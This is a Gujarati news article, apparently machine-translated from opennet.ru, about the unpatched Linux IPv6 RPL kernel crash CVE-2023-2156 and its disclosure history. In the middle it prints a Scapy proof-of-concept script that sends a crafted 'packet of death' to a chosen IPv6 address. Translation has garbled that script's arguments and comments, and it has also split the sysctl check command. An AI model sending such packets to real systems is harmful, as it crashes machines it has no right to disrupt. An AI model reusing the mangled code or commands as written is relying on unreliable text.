0-દિવસની Linux IPv6 સ્ટેક નબળાઈ કે જે રિમોટ કર્નલ ક્રેશને મંજૂરી આપે છે

Linux કર્નલમાં અસુધારિત (0-દિવસ) નબળાઈ (CVE-2023-2156) વિશે માહિતી જાહેર કરવામાં આવી છે, જે ખાસ ડિઝાઇન કરેલા IPv6 પેકેટો (પેકેટ-ઓફ-ડેથ) મોકલીને સિસ્ટમને રોકવાની મંજૂરી આપે છે. સમસ્યા ત્યારે જ દેખાય છે જ્યારે RPL (લો-પાવર અને લોસી નેટવર્ક્સ માટે રૂટીંગ પ્રોટોકોલ) પ્રોટોકોલ માટે સપોર્ટ સક્ષમ હોય, જે ડિસ્ટ્રિબ્યુશનમાં ડિફોલ્ટ રૂપે અક્ષમ હોય છે અને તેનો ઉપયોગ મુખ્યત્વે ઉચ્ચ પેકેટ નુકશાન સાથે વાયરલેસ નેટવર્ક્સમાં કાર્યરત એમ્બેડેડ ઉપકરણો પર થાય છે.

આરપીએલ પ્રોટોકોલ પાર્સિંગ કોડમાં બાહ્ય ડેટાની ખોટી પ્રક્રિયાને કારણે નબળાઈ સર્જાય છે, જે એસ્ર્ટ નિષ્ફળતા તરફ દોરી જાય છે અને કર્નલ ગભરાટની સ્થિતિમાં જાય છે. IPv6 RPL પેકેટ હેડરને k_buff (સોકેટ બફર) સ્ટ્રક્ચરમાં પાર્સિંગ કરવાથી મેળવેલા ડેટાને મૂકતી વખતે, જો CmprI ફીલ્ડ 15 પર, Segleft ફીલ્ડને 1 પર અને CmprE પર 0 પર સેટ કરેલ હોય, તો સરનામાં સાથે 48-બાઇટ વેક્ટરને ડિકમ્પ્રેસ કરવામાં આવે છે. 528 બાઇટ્સ સુધી અને એવી પરિસ્થિતિ દેખાય છે કે જ્યાં બફર માટે ફાળવેલ મેમરી પૂરતી નથી. આ કિસ્સામાં, skb_push ફંક્શન, ડેટાને સ્ટ્રક્ચરમાં ધકેલવા માટે વપરાય છે, ડેટાના કદ અને બફર વચ્ચેની અસંગતતા તપાસે છે, બફરની સીમાની બહાર લખવાનું અટકાવવા માટે ગભરાટની સ્થિતિ પેદા કરે છે.

ઉદાહરણ શોષણ: # અમે scapy.all આયાત * આયાત સોકેટમાંથી પેકેટ બનાવવા માટે Scapy નો ઉપયોગ કરીશું # તમારા LAN ઇન્ટરફેસમાંથી IPv6 નો ઉપયોગ કરો DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # અમે પેકેટ મોકલવા માટે સોકેટ્સનો ઉપયોગ કરીશું sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # પેકેટને ક્રાફ્ટ કરો # પ્રકાર = 3 આને RPL પેકેટ બનાવે છે # સરનામાંમાં 3 સરનામાં છે, પરંતુ કારણ કે CmprI 15 છે, # પ્રથમ બે સરનામાંનો દરેક ઓક્ટેટ છે એમ્પ્લીફિકેશનને ટ્રિગર કરવા માટે સંકુચિત સરનામા # Segleft = 1 તરીકે ગણવામાં આવે છે # lastentry = 0xf0 CmprI ને 15 પર સેટ કરે છે અને CmprE ને 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type:"a=3,"a=8) :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # આ દુષ્ટ પેકેટ મોકલો sockfd.sendto(bytes(p), (DST_ADDR, 0))

નોંધનીય છે કે કર્નલ ડેવલપર્સને જાન્યુઆરી 2022 માં નબળાઈ વિશે જાણ કરવામાં આવી હતી અને છેલ્લા 15 મહિનામાં તેઓએ ત્રણ વખત સમસ્યાને ઠીક કરવાનો પ્રયાસ કર્યો હતો, સપ્ટેમ્બર 2022, ઓક્ટોબર 2022 અને એપ્રિલ 2023માં પેચ બહાર પાડ્યા હતા, પરંતુ દરેક વખતે ફિક્સ કરવામાં આવ્યા હતા. પૂરતું નથી અને નબળાઈ પુનઃઉત્પાદિત કરી શકાતી નથી. આખરે, ZDI પ્રોજેક્ટ, જેણે નબળાઈને ઠીક કરવા માટે કાર્યનું સંકલન કર્યું, કર્નલમાં કાર્યકારી ફિક્સ ઉપલબ્ધ થવાની રાહ જોયા વિના નબળાઈ વિશે વિગતવાર માહિતી પ્રકાશિત કરવાનું નક્કી કર્યું.

આમ, નબળાઈ હજુ પણ અનિશ્ચિત રહે છે. ખાસ કરીને, 6.4-rc2 કર્નલમાં સમાવેલ પેચ બિનઅસરકારક છે. વપરાશકર્તાઓને સલાહ આપવામાં આવે છે કે તેઓ તપાસ કરે કે RPL પ્રોટોકોલ તેમની સિસ્ટમમાં ઉપયોગમાં લેવાયો નથી, જે sysctl -a | આદેશનો ઉપયોગ કરીને કરી શકાય છે. grep -i rpl_seg_enabled

સોર્સ: opennet.ru

એક ટિપ્પણી ઉમેરો